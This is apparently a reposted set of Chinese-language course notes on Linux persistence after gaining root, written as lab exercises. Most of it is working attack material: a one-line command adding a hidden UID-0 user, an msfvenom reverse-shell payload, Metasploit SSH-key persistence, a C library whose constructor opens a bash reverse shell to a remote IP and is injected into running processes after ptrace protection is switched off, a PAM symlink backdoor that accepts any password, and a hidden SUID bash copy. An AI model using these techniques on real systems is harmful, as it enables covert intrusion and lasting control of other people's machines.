13.linux權限維持


0x01.linux權限維持的基本思路

權限維持的前提:有shell 是root權限

1.linux操作系統的基本特點

a.長時間運行並帶有服務

b.文件結構簡單

c.用戶權限清晰

2.基本知識面

賬戶 : 賬戶的使用、創建和鏈接(以ssh為主)

操作系統 : 基於linux的系統特性來思考linux系統本身可以利用的權限維持技巧

系統應用 : 從linux操作系統中的各種通用性較廣的應用思考權限維持

3.如何快速學習linux權限維持的新技巧

從觸發轉變為持續

a.思考的重點重基於事件觸發變為持續

b.利用的點從操作系統本身轉到應用

c."權限"從"控制的權限“到"提權的權限

0x02.基於賬號的linux后門

1.添加linux用戶

普通方式
useradd 用戶名
passwd 用戶名
輸入密碼

不普通的方式 (直接修改密碼相關的兩個文件)
添加一個具有root權限的普通用戶

修改/etc/passwd(密碼引導文件)和/etc/shadow(密碼真正的文件)
passwd
test:x:0:0::/:/bin/bash

shadow (密碼:123456)
test:密碼密文:13407:0:99999:7:::

先復制到tmp目錄下,修改好在覆蓋源文件,注意這里的密碼密文不同操作系統是不一樣的,所以手動要先生成
一句話添加
useradd -p 0`openssl passwd -1 -salt 'abc' 123456` -u 0  -o -g root -G root -s /bin/bash -d /usr/bin/chiyu chiyu

useradd 添加用戶
useradd -p 0`openssl passwd -1 -salt 'abc' cqrdpass` abc是鹽值,可以隨便填寫,cqrdpass是設置的密碼
-u 0 -o 添加一個uid為 0的用戶 就相對於root級別的了
-g root -G root 將用戶添加到root組
-s /bin/bash 指定新建用戶的shell路徑
-d /usr/bin/cqrd 新建用戶的主目錄,可以自己定義
cqrd 新建的用戶的用戶名

測試不能用ssh登錄,不知道原因

2.如何連接linux用戶

ssh基本使用:

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

[-i identity_file] [-J [user@]host[:port]]這部分的需要記住,很常用。

3.基本的密鑰體系概念(以ssh舉例)

對稱與非對稱密鑰體系

同一個密鑰既可以加密又可以解密就是對稱的密鑰體系,密文或明文的確定正確由這個密鑰決定

有專門的密鑰來負責加密,有專門的密鑰負責解密就是非對稱的密鑰體系,密文的的確定正確由負責加

密的密鑰確定(公鑰),明文的確定正確由負責解密的密鑰確定(私鑰),二者的統一確定由加密的密

鑰統一決定

對稱密鑰舉例:

密文:2個2

明文:4

密鑰:加號

加密過程:4=2+2

解密過程:2+2=4

非對稱密鑰舉例:

密文:2

公鑰:兩個2

私鑰一:加號

私鑰二:乘號

明文:4

加密過程:4由兩個2組成

解密過程一:4=2+2

解密過程二:4=2*2

ssh認證過程

SSH登錄主要分為兩個階段:

1)協商客戶端和服務端雙方通信所使用的共享密鑰,並用這個共享密鑰實現后續會話過程的對稱加密

2)使用非對稱加密方式驗證客戶端的身份。

兩種登陸方式:

1.密碼:

1)服務端收到客戶端的請求后,把自己的公鑰發送給客戶端(與會話密鑰不同,是服務器自身的公鑰/

私鑰對);

2)客戶端使用收到的公鑰加密密碼,並發送回服務器;

3)服務器使用自己私鑰解密信息,若密碼正確,則通過驗證。

2.密鑰:

前提條件是手動將客戶端的公鑰發送給服務器,並填入authorized_keys文件中。

1)客戶端把用戶驗證的密鑰對ID發送給服務器;

2)服務器根據密鑰對ID在對應用戶的authorized_keys文件中進行檢索;

3)假設服務器在文件中找到符合密鑰對ID的公鑰,服務器將生成一個隨機數,並用這個公鑰進行加密;

4)服務器將加密后的信息發送給客戶端;

5)假設客戶端擁有對應的私鑰,就可以解密出原來的隨機數;

6)客戶端將得到的隨機數與加密會話所用的會話密鑰拼接一起后,計算其MD5哈希值;

7)客戶端將MD5哈希值發送回服務器;

8)服務器使用相同的會話共享密鑰和他生成的隨機數計算出MD5哈希值,並與客戶端返回的MD5哈希

值進行比較。如果兩個值相等,證明客戶端擁有對應私鑰,則通過驗證。

678步可以僅做了解

4.如何使用ssh做權限維持(必做作業)

下載服務器私鑰鏈接,攻擊者使用私鑰鏈接

ssh -i 私鑰文件 用戶@ip

寫公鑰到被控端~/.ssh/authorized_keys文件

ssh 用戶@ip

補充:

msf中有一個關於上面兩個的自動化模塊
post/linux/manage/sshkey_persistence
設置session
run
就會拿到私鑰,以及添加公鑰到靶機的~/.ssh/authorized_keys

實戰實驗:

1.生成linuxpayload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf -o /root/linuxpayload

2.通過http服務,靶機下載payload

python:   
python3 -m http.server

php:
php -S 192.168.0.114:80

3.msf設置監聽

set payload linux/x86/meterpreter/reverse_tcp

4.靶機運行payload

5.上線會話放到后台

6.使用post模塊、

use post/linux/manage/sshkey_persistence
set session 2
run

image-20210724101739774

7.使用下載的私鑰鏈接

降低私鑰權限
chmod 600 /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt                   
                                                                                                                                        
ssh -i /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt root@192.168.0.113

image-20210724102049204

8.寫公鑰到被控機

生成本地公鑰
ssh-keygen   (一路回車,然后會生成下面兩個文件)

image-20210724102645427

把id_rsa.pub寫到被控機的~/.ssh/authorized_keys中

cd /root/.ssh
upload /root/.ssh/id_rsa.pub .
mv id_rsa.pub authorized_keys

直接鏈接

image-20210724103458468

0x03.基於linux特性的權限維持

1.進程注入

老師說進程遷移也是一種進程注入就是用一個dll文件調另一個dll文件

gaffe23/linux-inject

https://github.com/gaffe23/linux-inject

下載后需要make一下

image-20210724104626775

inject         sample-library.so       sample-target
注入工具      要注入的文件	     默認演示的進程 (持續運行)

實驗演示

1.開啟演示進程
./sample-target

2.查看正在運行的進程
ps -a

3.注入進程
./inject -p PID sample-library.so 

image-20210724105318022

關閉系統的一個進程管理工具 , 這個工具作用:不允許莫名其妙的東西運行在你的進程上

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

代碼 文件名:socket.so

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void shell()
{
    system( "bash -c 'bash -i >& /dev/tcp/192.168.0.113/4444 0>&1'");
}

__attribute__((constructor))
void loadMsg()
{
    shell();
}

編譯

clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC socket.c

使用

./sample-target
./inject -p pid socket.so

實戰可以注入到apache進程中

演示 : 被控機器---》 kali

image-20210724111043522

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

image-20210724111204277

拿到shell

image-20210724111242916

3.PAM(ssh軟連接)

尋找支持pam的程序

cd /etc/pam.d

image-20210724111953716

找到支持的程序具體在什么位置

whereis su

image-20210724112055045

軟連接

ln –sf /usr/sbin/sshd /bin/su;/bin/su –oPort=4444

相當於攻擊者用ssh鏈接被控機器的444端口,但是被控機這邊只是調用了一個su而已,不涉及敏感操作,不會攔截,然后pam中會有所有的ssh認證過程,然后攻擊者就連上了

image-20210724112919453

ssh鏈接 , 輸入任意密碼即可

ssh 192.168.0.113 -p 4444 

image-20210724113015425

4.suid的權限維持(提權通道維持)

1.找到bash文件

whereis bash

2.復制到普通用戶環境能接觸的文件夾

cp /bin/bash /tmp/.bash

3.設置權限

chmod 4755 /tmp/.bash    #設置suid 4代表suid

4.使用

普通用戶登錄
/tmp/.bash -p

image-20210724113446493

0x04.基於linux系統應用的權限維持

1.rookit

缺點:動靜特別大,很容易被發現,安裝也不簡單

優點:如果成功,對方只能恢復快照,無其他方法

github: linux rootkit


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM